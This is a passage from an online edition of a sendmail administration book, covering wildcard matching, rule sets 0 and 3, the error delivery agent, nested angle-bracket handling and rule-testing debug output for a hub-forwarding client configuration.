Here, the first $+ incorrectly matches the @ in the workspace. Since there is no other @ in the workspace to be matched by the @ in the pattern, the first $+ matches the entire workspace. Because there is nothing left in the workspace, the attempt to match the @ fails. When any part of a pattern fails to match the workspace, the entire LHS fails (the if part of the if-then is false).

8.7.2 Minimal Matching

One small bit of confusion may yet remain. When a wildcard operator such as $+ is used to match the workspace, sendmail always does a minimal match. That is, it matches only what it needs to for the next part of the rule to work. Consider the following:

R$+@$+

In this LHS the first $+ matches everything in the workspace up to the first @ character. For example, consider the following workspace:

a@b@c

In the above, $+@ causes the $+ to match only the characters up to the first @ character, the a. This is the minimum that needs to be matched, and so it is the maximum that will be matched.

8.7.3 More Play with LHS Matching

Take a moment to replace the previous demo rules with the following three new demo rules in the client.cf file:

S0
R@         one
R@$+       two
R$+@$+     three

Again, these three rules are for demonstration purposes only (you'll see how to declare a real one soon enough). We've given each temporary RHS a number to see whether it is selected. Now run sendmail in rule-testing mode:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>

Now print the rules to remind yourself what they are:

> =S 0
R@              one
R@ $+           two
R$+ @ $+                three

We'll test those rules with an assortment of test addresses. The first address to try is a lone @:

> 0 @
rewrite: ruleset  0   input: @
rewrite: ruleset  0 returns: one

The @ causes the first temporary RHS to be selected because the rule is

R@      one

The LHS here (the pattern to match) contains the lone @. That pattern matches the tokenized workspace @ exactly, so the RHS for that rule rewrites the workspace to contain one. Since one does not contain an @ character, neither the second nor third rules match, so the entire rule set returns one.

Next enter an address that just contains a host and domain part but not a user part:

> 0 @your.domain
rewrite: ruleset  0   input: @ your . domain
rewrite: ruleset  0 returns: two

The first thing to notice is what was not printed! The workspace does not match the pattern of the first rule. But instead of returning an error, the workspace is carried down as is to the next rule - where it does match:

 @your.domain does not match, so ...
   -v
R@      one
   -v
 try the next rule
   -v
R@$+    two

Now enter an address that fails to match the first two rules but successfully matches the third:

> 0 you@your.domain
rewrite: ruleset  0   input: you @ your . domain
rewrite: ruleset  0 returns: three

The flow for this address is

 your@your.domain does not match, so ...
   -v
R@      one
   -v
 try the next rule, which also does not match, so ...
   -v
R@$+    two
   -v
 try the next rule, which does match.
   -v
R$+@$+  three

Try other addresses such as your login name or UUCP addresses such as you@host.uucp and host!you. Can you predict what will happen with weird addresses like @@ or a@b@c?

When you are done experimenting, exit rule-testing mode and delete the four temporary lines that you added for this demonstration.

Previous: 8.6 The Flow of Addresses Through Rules | sendmail | Next: 8.8 Things to Try
8.6 The Flow of Addresses Through Rules | Book Index | 8.8 Things to Try


[Chapter 8] 8.8 Things to Try

sendmailSearch this book
Previous: 8.7 Wildcard Operators Chapter 8
Addresses and Rules 		Next: 9. Rule Set 0

8.8 Things to Try

  • Try feeding sendmail an extremely long address in rule-testing mode, something like a.a.a... with 100 a and dot characters. What does this tell you about the limit on the size of the workspace? Is this a limit of tokens or of characters?

  • Look through your system sendmail.cf file for all lines that declare rule sets (S lines). Are there any that have no rules (R lines) associated with them? Do the comments near them explain clearly why no rules are present?

  • What happens if you use spaces rather than tabs to separate the LHS from the RHS of rules? Is the error message clear? What happens if the RHS is separated from the comment with spaces instead of tabs? How does this illustrate the importance of testing all new rules with rule-testing mode?

  • Minimum matching is one of the most misunderstood aspects of rules. If you are still the tiniest bit confused about this topic, review Section 8.7.2, "Minimal Matching" and possibly leap ahead to Section 28.5.1, "Minimum Matching".

Previous: 8.7 Wildcard Operators | sendmail | Next: 9. Rule Set 0
8.7 Wildcard Operators | Book Index | 9. Rule Set 0


[Chapter 9] Rule Set 0

sendmailSearch this book
Previous: 8.8 Things to Try Chapter 9 Next: 9.2 The RHS Triple

9. Rule Set 0

Contents:
Introducing Rule Set 0
The RHS Triple
Testing Rule Set 0
The error Delivery Agent
Things to Try

The function of rule set 0 is to decide which mail delivery agent will handle delivery for a particular recipient address. Figure 9.1 shows how rule set 0 relates to the other rule sets.

Figure 9.1: The flow of addresses for rule set 0

Rule set 0 is called once for each recipient of a mail message. Rule set 0 determines a triple for each address. The triple is composed of three parts: the symbolic name of the mail delivery agent, the name of the user to whom the mail is addressed, and the name of the host to which the mail will be sent. We'll expand on these soon and cover the other rule sets in later chapters.

9.1 Introducing Rule Set 0

Recall that one goal of the client.cf file is to cause sendmail to forward all mail to a central hub machine for processing. To lay the groundwork for this, we designed the hub delivery agent in Chapter 6, The Mail Hub and Delivery Agents, and declared it like this:

# Delivery agent definition to forward mail to hub
Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

As this goal implies, we don't want to design any fancy rules for rewriting the recipient's address, we simply want to send it to the hub as is.

The rule set that we show below does just that. It may look complicated, but recall that its one rule is basically just an if-then statement:

S0
R$+     $#hub $@${REMOTE} $:$1          forward to hub

The first line (the S0) declares the start of rule set 0. The R line in this example is the first of many possible rules that will form rule set 0.

You saw the LHS of this rule in the preceding chapter. The $+ wildcard operator is used to match one or more tokens in the workspace. Essentially, this LHS will match anything in the workspace but will fail to match an empty workspace.

Previous: 8.8 Things to Try | sendmail | Next: 9.2 The RHS Triple
8.8 Things to Try | Book Index | 9.2 The RHS Triple


[Chapter 9] 9.2 The RHS Triple

sendmailSearch this book
Previous: 9.1 Introducing Rule Set 0 Chapter 9
Rule Set 0 		Next: 9.3 Testing Rule Set 0

9.2 The RHS Triple

The job of rule set 0 is to resolve each address into a triple: the delivery agent's symbolic name, the name of the host, and the name of the user in that order (see Figure 9.2).

Figure 9.2: Rule set 0 resolves a triple

Recall that rules are like if-then statements. If the rule in the LHS evaluates to true, then sendmail evaluates the RHS:

 if true   ->          do this
   -v            -v
R$+         $#hub $@${REMOTE} $:$1          forward to hub
   -v
otherwise go to next rule

This RHS resolves all three parts of the triple. To accomplish this, the text of the RHS is transformed and then copied into the workspace:

$#hub             ->  copied as is (delivery agent part)
$@${REMOTE}       ->  defined macro is expanded (host part)
$:$1              ->  positional macro is expanded (user part)

We examine these parts in order, showing how each is transformed and copied into the workspace. The transformation operators are shown in Table 9.1.

Table 9.1: Rule Set 0 RHS Transformation Operators
Operator | Description
$# | The mail delivery agent
$@ | The host
$: | The user

9.2.1 The Delivery Agent ($#)

The first part of the triple is the name of the delivery agent. The RHS $# transformation operator tells sendmail that the text following (up to but not including the next operator, ignoring spaces) is the symbolic name of the delivery agent to use.

The symbolic name hub was defined in the client.cf file as

# Delivery agent definition to forward mail to hub
Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

When the RHS is copied into the workspace, any transformation operators such as $# are copied as is and become new tokens:

$#       <-  the workspace thus far

When text, such as hub, is copied into the workspace, it is tokenized by using the separation characters: [1]

[1] As a result, the symbolic name of the mail delivery agent cannot contain any separation characters.

.:@[]            <-  you can change these
()<>,;\"\r\n     <-  you cannot change these

Since our symbolic name hub contains none of those characters, it is copied as a single token into the workspace:

$# hub        <-  the workspace thus far

9.2.2 The Host ($@)

The second part of the triple is the hostname. The RHS $@ transformation operator tells sendmail that the text following (up to, but not including, the next operator and ignoring spaces) is the name of the host to which the mail will be sent. Whenever sendmail encounters ${name} in the RHS, it uses the value of the named macro. You previously defined ${REMOTE} to contain the name of the host to which all mail will be sent:

D{REMOTE}mailhost              # The name of the mail hub

The second part of the triple is now copied to the workspace. The name of the host is in ${REMOTE}. Combined, they look like this:

$@${REMOTE}

$@ is copied as is. ${REMOTE} is expanded (its value taken), and then that value is broken into tokens and copied into the workspace. If the value of the ${REMOTE} macro is mailhost, the workspace will look like this:

$# hub $@ mailhost     <-  the workspace thus far

9.2.3 The User ($:)

The third part of the triple is the username. The RHS $: transformation operator tells sendmail that the following text (up to, but not including, the next operator and ignoring spaces) is the user to whom mail is being sent. Here, the username is determined by the $1, which is called a "positional operator":

$:$1

When sendmail sees a positional operator, a $ followed by a single digit in the RHS, it counts up the number of wildcard operators in the LHS. In this example the LHS has only one wildcard operator, $+, so $1 refers to that operator. If there were more than one wildcard operator in the LHS, for example,

$+.$+

$1 $2

then $1 would refer to the first $+ and $2 to the second $+.

A $digit tells sendmail to copy whatever tokens the corresponding LHS wildcard operator matched. If the original workspace had contained

boss @ acme      <-  in the original workspace

then the lone $+ (match one or more) LHS wildcard operator would match the entire workspace (all of its tokens).

All of the original workspace's tokens are then copied. The workspace contains

$# hub $@ mailhost $: boss @ acme

After sendmail has completed writing the workspace, the workspace (the triple) is returned.

Previous: 9.1 Introducing Rule Set 0 | sendmail | Next: 9.3 Testing Rule Set 0
9.1 Introducing Rule Set 0 | Book Index | 9.3 Testing Rule Set 0


[Chapter 9] 9.3 Testing Rule Set 0

sendmailSearch this book
Previous: 9.2 The RHS Triple Chapter 9
Rule Set 0 		Next: 9.4 The error Delivery Agent

9.3 Testing Rule Set 0

To see that what we describe is actually what happens, take a moment to add rule set 0 to the end of your client.cf file:

S0 # select delivery agent                                            <-  new
R$+     $#hub $@${REMOTE} $:$1          forward to hub                <-  new

Now run sendmail in rule-testing mode and give it the address boss@acme:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 0 boss@acme
rewrite: ruleset  0   input: boss @ acme
rewrite: ruleset  0 returns: $# hub $@ mailhost $: boss @ acme

The change to the workspace caused by rule set 0 is exactly as predicted:

$# hub $@ mailhost $: boss @ acme

Components from the workspace triple are used by sendmail to define macros used by delivery agents. For example, the text after $@ is copied into the h macro. Similarly, the username appearing after $: is copied into the u macro:

                                                          from $@ in rule set 0
                                                                 -v
Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u

                                              from $: in rule set 0

Rule set 0 is different from the other rule sets in several important ways. We'll begin explaining the other rule sets in the next chapter. For now, just be aware that there are a few exceptions to rules in sendmail:

  • Rule set 0 is one of the few rule sets that may use $# to return the symbolic name of a delivery agent. [2] If any other rule set returns a $#, the $# can cause unpredictable errors.

    [2] Rule set 5 can also return a $#.

  • $@ and $: in rule set 0, when following $#, have different meanings than they do in all the other rule sets. They are even different from the way they are in rule set 0 itself when they don't follow $#. We'll expand on this concept in the next chapter.

Previous: 9.2 The RHS Triple | sendmail | Next: 9.4 The error Delivery Agent
9.2 The RHS Triple | Book Index | 9.4 The error Delivery Agent


[Chapter 9] 9.4 The error Delivery Agent

sendmailSearch this book
Previous: 9.3 Testing Rule Set 0 Chapter 9
Rule Set 0 		Next: 9.5 Things to Try

9.4 The error Delivery Agent

Although all mail, under the hub scheme, should be passed to the hub for processing, certain errors should still be handled locally. By recognizing these errors locally, the user is advised of mistakes immediately, rather than having to wait for mail to bounce.

When we discussed delivery agents, we showed you that sendmail requires the local delivery agent. Because sendmail requires it, you had to define it yourself (to keep sendmail from complaining):

Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u

Inside sendmail, a specially defined delivery agent exists. Called error, that delivery agent is one that you can't define yourself.

The error delivery agent is the internal mechanism that sendmail uses to process errors. When that delivery agent is selected, it causes sendmail to print the offending address, then the username part of the triple (the $: part) as an error message.

For example, recall the earlier experiment with three demo rules:

S0
R@      one
R@$+    two
R$+@$+  three

When this rule set was given an address of @host (note the missing user part), the RHS rewrote the workspace to be two. [3] We use a similar technique to select sendmail's built-in error handling delivery agent error.

[3] We are fudging here for the sake of a simple example. In reality a leading @ is legal for route addresses (see the DontPruneRoutes option in Section 34.8.20, DontPruneRoutes (R), how route addresses are handled in rules in Section 29.4.3, "Handling Routing Addresses", and the F=d delivery agent flag in Section 30.8.16, F=d).

Add the following new line to the client.cf file's rule set 0. Don't forget that the LHS, RHS, and comment must be separated from each other by tab characters, not spaces. But note that the RHS may contain space characters (not tabs) for clarity.

S0 # select delivery agent
R@$+    $#error $: Missing user name                             <-  new
R$+     $#hub $@${REMOTE} $:$1          forward to hub

Run sendmail again, this time to see which addresses are caught locally as errors and which are passed onward to the central hub.

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 0 @acme
rewrite: ruleset  0   input: @ acme
rewrite: ruleset  0 returns: $# error $: Missing user name

Here, you are supplying an address that lacks a username. As expected, the error delivery agent is selected. If someone attempted to send mail to this address, they would get the error

@acme... Missing user name

Now feed sendmail a legal address:

> 0 boss@acme
rewrite: ruleset  0   input: boss @ acme
rewrite: ruleset  0 returns: $# hub $@ mailhost $: boss @ acme

This legal address, one with both a user and host part, bypasses the error-handling rule and will be accepted for delivery via the hub delivery agent.

Take some time to experiment. Give sendmail an assortment of addresses and try to predict which will produce errors and which will not.

Previous: 9.3 Testing Rule Set 0 | sendmail | Next: 9.5 Things to Try
9.3 Testing Rule Set 0 | Book Index | 9.5 Things to Try


[Chapter 9] 9.5 Things to Try

sendmailSearch this book
Previous: 9.4 The error Delivery Agent Chapter 9
Rule Set 0 		Next: 10. Rule Set 3

9.5 Things to Try

  • Devise an error-handling rule that will detect an address that contains a username and an @ character but no host part.

  • Is it possible to have text in the LHS that is literally $+, rather than an operator with the same characters?

  • The client.cf file uses $#error to handle errors in rule set 0. Examine your site's sendmail.cf file to see if it is legal to use $#error in other rule sets.

Previous: 9.4 The error Delivery Agent | sendmail | Next: 10. Rule Set 3
9.4 The error Delivery Agent | Book Index | 10. Rule Set 3


[Chapter 10] Rule Set 3

sendmailSearch this book
Previous: 9.5 Things to Try Chapter 10 Next: 10.2 Rule Set 3

10. Rule Set 3

Contents:
Why Preprocess?
Rule Set 3
Missing Addresses
Nested Angle Brackets
Details of Rule Flow
Things to Try

The job of rule sets 1 through 4 is to change recipient and sender addresses in both the header and the envelope [1] into a form appropriate for a given delivery agent. Each kind of address takes a different path through the rule sets. The possibilities (which can be confusing) are illustrated in Figure 10.1.

[1] Headers and envelopes were introduced in Chapter 1, Introduction.

Figure 10.1: The flow of addresses through rule sets

The sender's address on the envelope, for example, is first rewritten by rule set 3, then by rule set 1, then by the rule set specified by the S= equate in the delivery agent definition, and finally by rule set 4.

All addresses are first processed by rule set 3. All sender addresses flow through rule set 3 and then 1. All recipient addresses flow through 3 and then 2. Each then flows through the rule set that is specified by the S= or R= equate for the delivery agent that will handle the message. Each is then postprocessed by rule set 4. But because the role of rule set 0 is to select a delivery agent (and therefore the appropriate S= and R= equates), rule set 0 needs to process an address before it can go through rule set 1 or 2.

In the previous few chapters you began to learn about rules sets in general and rule set 0 specifically. However, before the recipient address can be processed by rule set 0, it must first be processed by rule set 3. All addresses are preprocessed by rule set 3.

10.1 Why Preprocess?

To understand why a preprocessing rule set (rule set 3) is needed, we need to briefly examine how users specify addresses. One common way to send mail is by using the reply feature of your mail-reading program (MUA). That feature looks at the From: line in the mail message's header and uses the text that follows as the address for the reply. That text can take one of two forms:

From: address (Full Name and other comments)
From: Full Name <address>

Both forms are legal. The first is an email address followed by arbitrary text in parentheses, usually the user's full name. The parentheses form a comment. Your mail reading program often strips that comment before sending the mail, so sendmail sees only address. But even if the comment isn't stripped, sendmail removes (and saves) the text in parentheses before entering rule set 3.

The second form has the user's full name first, followed by the email address in angle brackets. When your MUA sends email using this form of return address, it hands sendmail the entire text: full name, and address in angle brackets.

In both cases, what sendmail needs is the address part. But, as in the second case, sendmail can get more than just the address. Therefore sendmail needs a way to discard everything else:

Full Name <address>
     -v
needs to be transformed into
     -v
address

The sendmail program handles this initial transformation by preprocessing addresses using rule set 3.

Previous: 9.5 Things to Try | sendmail | Next: 10.2 Rule Set 3
9.5 Things to Try | Book Index | 10.2 Rule Set 3


[Chapter 10] 10.2 Rule Set 3

sendmailSearch this book
Previous: 10.1 Why Preprocess? Chapter 10
Rule Set 3 		Next: 10.3 Missing Addresses

10.2 Rule Set 3

In its initial form, rule set 3 looks like this:

S3 # preprocessing for all rule sets
R$* < $* > $*   $2             basic RFC822 parsing

As with rule set 0, the definition of rule set 3 begins with the S configuration command. The S character must begin a line, and the 3 must follow with no intervening nonspace characters.

The only rule in rule set 3 is composed of three parts, each separated from the others by one or more tab characters:

R$* < $* > $*   $2             basic RFC822 parsing

 LHS        tabs  RHS   tabs     comment

Note that we will now separate the tokens in the LHS with spaces (not tabs) to make the LHS easier to understand. Spaces always separate tokens, yet are never themselves tokens.

10.2.1 The LHS

The wildcard operator in this LHS, the $*, is different from the $+ wildcard operator that you saw in rule set 0. Recall that the $+ wildcard operator matches one or more tokens in the workspace. To review, consider the LHS rule:

$+ @ $+

This LHS easily matches an address like you@here.us.edu in the workspace:

workspace                     LHS
you               $+         <-  match one or more
@                 @          <-  match exactly
here              $+         <-  match one
.                            -v      or more
us
.
edu

This same LHS, however, does not match an address like @here.us.edu:

workspace                  LHS
@               $+         <-  match one
here                       -v      or more
.
us
.
edu
                @          <-  match exactly, fails!
                $+

Because the $+ wildcard operator needs to match one or more tokens, it fails when there is nothing in front of the @.

The $* wildcard operator is just like the $+ wildcard operator, except that it will match nothing (zero tokens). If the LHS had used $* instead of $+, an address like @here.us.edu would be matched:

workspace                   LHS
                 $*         <-  match zero or more (matches zero)
@                @          <-  match exactly
here             $*         <-  match zero
.                           -v      or more
us
.
edu

The LHS in rule set 3 matches anything or nothing, provided that there is a pair of angle brackets in the workspace somewhere:

R$* < $* > $*   $2             basic RFC822 parsing

For example, consider an address that might be given to sendmail by your MUA:

Your Fullname <you@here.us.edu>

This address is tokenized and placed into the workspace. That workspace is then compared to the LHS:

workspace                   LHS
Your             $*         <-  match zero
Fullname                    -v      or more
<                <          <-  match exactly
you              $*         <-  match zero
@                           -v      or more
here
.
us
.
edu
>                >          <-  match exactly
                 $*         <-  match zero or more

10.2.2 The RHS

Recall that the objective of rule set 3 is to strip everything but the address part (the text between the angle brackets). That stripping is accomplished by rewriting the workspace using the $2 positional operator in the RHS:

R$* < $* > $*   $2             basic RFC822 parsing

                strip all but the address

Remember, when a $digit appears in the RHS, that digit is used as a count into the wildcard operators of the LHS.

$* < $* > $*

$1   $2   $3

$1 refers to the first $*, $2 refers to the second, and $3 to the third. Comparing this ordering of operators to the test address, you see

workspace            LHS                                                RHS
Your         $*      <-  match zero          $1
Fullname             -v       or more
<            <       <-  match exactly
you          $*      <-  match zero          $2
@                    -v       or more
here
.
us
.
edu
>            >       <-  match exactly
             $*      <-  match zero or more   $3

This illustrates that the middle (second) $* matches the you@here.us.edu part of the workspace. When the RHS rewrites the workspace, it does so by copying the tokens matched by the second wildcard operator (specified in the RHS with the $2 positional operator).

10.2.3 Test Rule Set 3

Take a few moments to experiment. Observe the transformation of a user-specified address into one that sendmail can use. Add the following new rule set 3 to the rule sets in the client.cf file:

S3 # preprocessing for all rule sets                                    <-  new
R$* < $* > $*       $2                      basic RFC822 parsing        <-  new

Now run sendmail again. Up to now, you have been testing rule set 0, so you have specified a 0 following the > prompt. Instead, you will now specify a 3 because you are testing rule set 3:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 3 Your Fullname <you@here>
rewrite: ruleset  3   input: Your Fullname < you @ here >
rewrite: ruleset  3 returns: you @ here

As expected, the new rule causes everything except the "good" email address, the address between the angle brackets, to be thrown away.

Before we improve rule set 3, take a few moments to experiment. Experiment by putting the fullname last. Try omitting the email address between the angle brackets. Try nesting angle brackets in an address, like <a<b>c>.

As a closing note, recall that sendmail does the minimum matching possible when comparing operators to the workspace. Although $*, for example, can match zero or more, it prefers to match zero if possible and, if not, to match the fewest tokens possible. A LHS of $*@$+, for example, will match as shown in Table 10.1.

Table 10.1: What $* in $*@$+ Matches for Different Addresses
Address | $* matches | @ | $+
a.b.c@d.e | a.b.c | @ | d.e
a@b@c | a | @ | b@c
@b@c |  | @ | b@c

Expecting operators to match more than they do can cause you to misunderstand the effect of rules.

Previous: 10.1 Why Preprocess? | sendmail | Next: 10.3 Missing Addresses
10.1 Why Preprocess? | Book Index | 10.3 Missing Addresses


[Chapter 10] 10.3 Missing Addresses

sendmailSearch this book
Previous: 10.2 Rule Set 3 Chapter 10
Rule Set 3 		Next: 10.4 Nested Angle Brackets

10.3 Missing Addresses

The current, and only, rule in rule set 3 accepts anything or nothing (the $*) between the angle brackets:

R$* < $* > $*       $2                      basic RFC822 parsing

But "nothing" can be a legal address. The expression <> is a legal sender address that is used when sending bounced mail to prevent further bouncing. To catch such addresses, a new rule needs to be written preceding the first. That new rule looks like this:

R$* <> $*         $n                      handle <> error address

Here, the LHS matches any address that has nothing between the angle brackets. Observe how this new LHS catches such an address:

workspace                    LHS
                 $*         <-  match zero or more
<                <          <-  match exactly
>                >          <-  match exactly
                 $*         <-  match zero or more

When such an empty address is matched by the LHS of the new rule, the workspace is rewritten by the RHS of that rule to contain only the single macro $n. Recall from Chapter 7, Macros, that $n was defined to be the name of the user from whom all bounced mail is sent:

define(n as MAILER-DAEMON)

To observe the effect of this new rule in action, add it to the client.cf file. This new rule should precede the existing rule in rule set 3:

S3 # preprocessing for all rule sets
R$* <> $*           $n                      handle <> error address      <-  new
R$* < $* > $*       $2                      basic RFC822 parsing

Now run sendmail in rule-testing mode once again:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 3,0 Your Fullname <you@here>
rewrite: ruleset  3   input: Your Fullname < you @ here >
rewrite: ruleset  3 returns: you @ here
rewrite: ruleset  0   input: you @ here
rewrite: ruleset  0 returns: $# hub $@ mailhost $: you @ here

Here, two rule sets (3 and 0) are specified instead of one as you have been doing all along. Rule set 3 is called first, and it throws away everything but the address between the angle brackets. The rewritten workspace is then given to rule set 0, which selects the hub delivery agent. This is as it should be, with a good address being forwarded to the mail hub. Note that there must be no space on either side of the comma.

But now give sendmail an empty address, with nothing in the angle brackets:

> 3,0 <>
rewrite: ruleset  3   input: < >
rewrite: ruleset  3 returns: MAILER-DAEMON
rewrite: ruleset  0   input: MAILER-DAEMON
rewrite: ruleset  0 returns: $# hub $@ mailhost $: MAILER-DAEMON

As you may expect, the empty address is caught by the new rule in rule set 3 and converted (in the workspace) to the value of $n. Rule set 0 then arranges to forward the message to the hub for delivery to user MAILER-DAEMON.

Previous: 10.2 Rule Set 3 | sendmail | Next: 10.4 Nested Angle Brackets
10.2 Rule Set 3 | Book Index | 10.4 Nested Angle Brackets


[Chapter 10] 10.4 Nested Angle Brackets

sendmailSearch this book
Previous: 10.3 Missing Addresses Chapter 10
Rule Set 3 		Next: 10.5 Details of Rule Flow

10.4 Nested Angle Brackets

Another kind of address that can cause problems is one containing nested angle brackets. These occur because of bugs in MUAs. [2] For example, consider the following address:

[2] Also because RFC733 misspecified angle bracket use.

<a<b>c>

Run sendmail in rule-testing mode, using the current client.cf file and give the nested address shown above to rule set 3:

> 3 <a<b>c>
rewrite: ruleset  3   input: < a < b > c >
rewrite: ruleset  3 returns: a < b

Clearly, this is wrong. The correct address should have been b, the address inside the innermost of the nested angle brackets. The rule that caused the mistake is this one:

R$* < $* > $*       $2                      basic RFC822 parsing

And here is why:

workspace                   LHS
                 $*         <-  match zero or more
<                <          <-  match exactly
a                $*         <-  match zero
<                           -v     or more
b
>                >          <-  match exactly
c                $*         <-  match zero
>                           -v     or more

Because the workspace is scanned left to right, the second < is not seen as anything special. That is, there is no concept in this rule of innermost and outermost angle brackets pairs.

To handle nested angle brackets, another rule needs to be designed. [3] That new rule looks like this:

[3] In Chapter 29, Rule Sets, we show a rule that de-nests a nearly unlimited number of angle brackets.

R$* < $* < $* > $* > $*   $2<$3>$4                de-nest brackets

This new rule matches any address in the workspace that contains nested brackets. Using the count of LHS operators, the RHS strips away the outermost layer:

R$* < $* < $* > $* > $*   $2<$3>$4                de-nest brackets

 $1   $2   $3   $4   $5

To test this new rule, add it to the client.cf file:

S3 # preprocessing for all rule sets
R$* <> $*           $n                      handle <> error address
R$* < $* < $* > $* > $*     $2<$3>$4        de-nest brackets            <-  new
R$* < $* > $*       $2                      basic RFC822 parsing

Run sendmail again to test this new rule:

> 3 <a<b>c>
rewrite: ruleset  3   input: < a < b > c >
rewrite: ruleset  3 returns: b

As predicted, the second rule de-nested, thus allowing the third rule to isolate the address part.

Using what you have learned so far, predict how sendmail will handle this address:

<<<a>>>

Feed it to sendmail in rule-testing mode to see whether you are correct. Remember that sendmail performs minimum matching.

As a general motto when designing your own rule sets, be liberal in what you accept (including addresses such as <<<a>>>), but conservative in what you create (never send out such ugly addresses). [4]

[4] Paraphrased from The Robustness Principle, RFC793, TCP specification. Jon Postel, Ed.

Previous: 10.3 Missing Addresses | sendmail | Next: 10.5 Details of Rule Flow
10.3 Missing Addresses | Book Index | 10.5 Details of Rule Flow


[Chapter 10] 10.5 Details of Rule Flow

sendmailSearch this book
Previous: 10.4 Nested Angle Brackets Chapter 10
Rule Set 3 		Next: 10.6 Things to Try

10.5 Details of Rule Flow

To better see what is happening inside each rule, rerun sendmail with a -d21.12 debugging command-line switch:

% ./sendmail -Cclient.cf -d21.12 -bt

The -d21.12 switch tells sendmail to print each rule as it is processed. Run sendmail again with this new switch. This time, when you feed in a nested address, you get considerably more output:

> 3 <a<b>c>
rewrite: ruleset  3   input: < a < b > c >
---trying rule: $* < > $*
--- rule fails
---trying rule: $* < $* < $* > $* > $*
---rule matches: $2 < $3 > $4
rewritten as: a < b > c
---trying rule: $* < $* < $* > $* > $*
--- rule fails
---trying rule: $* < $* > $*
---rule matches: $2
rewritten as: b
---trying rule: $* < $* > $*
--- rule fails
rewrite: ruleset  3 returns: b

This output may appear complicated, but it is really fairly straightforward. The first two lines and last line are what you have been seeing all along (when you didn't use the -d21.12 switch):

> 3 <a<b>c>
rewrite: ruleset  3   input: < a < b > c >
rewrite: ruleset  3 returns: b

Everything in between those lines is new output caused by the -d21.12 switch. That new output shows each rule in rule set 3 being called and processed in turn. The first rule looks for empty angle brackets:

R$* <> $*           $n                      handle <> error address

The workspace (tokenized from the input of <a<b>c>) is compared to the LHS of this rule:

---trying rule: $* < > $*
--- rule fails

The LHS doesn't match (the rule fails) because the angle brackets of the workspace are not empty. Consequently, the RHS of the first rule is not called, and the workspace is unchanged.

The second rule is the de-nesting one:

R$* < $* < $* > $* > $*     $2<$3>$4             de-nest brackets

The workspace (still <a<b>c>) is compared to the LHS of this rule.

---trying rule: $* < $* < $* > $* > $*

The LHS matches the workspace, so the workspace is rewritten on the basis of the RHS of that rule, and the extra angle brackets are stripped away:

---rule matches: $2 < $3 > $4
rewritten as: a < b > c

The new workspace is then compared to the LHS of the same rule once again - that is, to the rule that just did the rewriting. If it were to match again, it would be rewritten again. This property (which in error can continue forever) can be useful in solving many configuration problems. We'll cover this property more fully in the next chapter.

So the rewritten workspace is compared once again to the second rule. The workspace (having been rewritten by the second rule) now contains

a  <  b  >  c

This time the comparison fails:

---trying rule: $* < $* < $* > $* > $*
--- rule fails

The last of the three rules then gets a crack at the workspace. That rule is

R$* < $* > $*       $2                      basic RFC822 parsing

That workspace is still

a  <  b  >  c

The workspace is once again matched, so it is rewritten again on the basis of the RHS of the third rule:

---trying rule: $* < $* > $*
---rule matches: $2
rewritten as: b

After the third rule rewrites the workspace, it again tries to match that rewritten workspace and fails:

---trying rule: $* < $* > $*
--- rule fails

As you can see, the -d21.12 debugging switch can be very useful. It shows you exactly what each rule is trying to do. It shows you each rewrite of the workspace, and it shows you the order in which rules are being applied. (Note that in real rule sets, this output can easily span many screens.)

Previous: 10.4 Nested Angle Brackets | sendmail | Next: 10.6 Things to Try
10.4 Nested Angle Brackets | Book Index | 10.6 Things to Try


[Chapter 10] 10.6 Things to Try

sendmailSearch this book
Previous: 10.5 Details of Rule Flow Chapter 10
Rule Set 3 		Next: 11. Rule Sets 1 and S=

10.6 Things to Try

  • Design a rule whose LHS always matches anything in the workspace and whose RHS always rewrites so as to leave the workspace unchanged. What happens when you test this rule?

  • Design a rule whose LHS will match name in the workspace but will not match name@host. Is this possible with just $+ and $*?

  • What happens if you arrange rules in a different order? Try reversing the first two rules in our rule set 3.

Previous: 10.5 Details of Rule Flow | sendmail | Next: 11. Rule Sets 1 and S=
10.5 Details of Rule Flow | Book Index | 11. Rule Sets 1 and S=


[Chapter 11] Rule Sets 1 and S=

sendmailSearch this book
Previous: 10.6 Things to Try Chapter 11 Next: 11.2 Rule Set S=

11. Rule Sets 1 and S=

Contents:
Flow of the Sender's Address
Rule Set S=
All Mail from the Hub
Rule Set Hubset
Testing So Far
Handling user@thishost
Rule Set 1
Things to Try

Recall that the client.cf file that we have been developing has two purposes: to forward all mail to a central mail hub for processing and to make all mail appear as though it originated from the hub. The first purpose was fulfilled by the creation of a rule set 0 that always selects the hub delivery agent. In this chapter we begin the process of fulfilling the second purpose, by designing rule sets 1 and S=.

But first, to review, recall also that the recipient's address is first processed by rule set 3 and then by rule set 0. Rule set 3 finds an address among other text and cleans up the address by removing nested angle brackets. After that, rule set 0 selects a delivery agent on the basis of the recipient's address. If the address is bad, rule set 0 selects the error delivery agent. For a valid address, rule set 0 selects the hub delivery agent. Once the delivery agent is selected, the processing of other addresses, such as the sender's address, may proceed.

11.1 Flow of the Sender's Address

When sendmail begins processing a mail message for delivery, it first looks for the envelope [1] recipients. Each recipient address that is found is first processed by rule set 3, and then by rule set 0, which selects a delivery agent.

[1] See Chapter 1, Introduction, for a review of the concepts of header versus envelope.

After appropriate delivery agents have been selected for all recipients, sendmail processes the sender's address. There is usually only a single sender [2] for any given mail message. The sender's address (or addresses) may appear in the envelope or in a From: header line, or it may be derived from the uid of the process that ran sendmail.

[2] The envelope sender and the header sender are not necessarily the same.

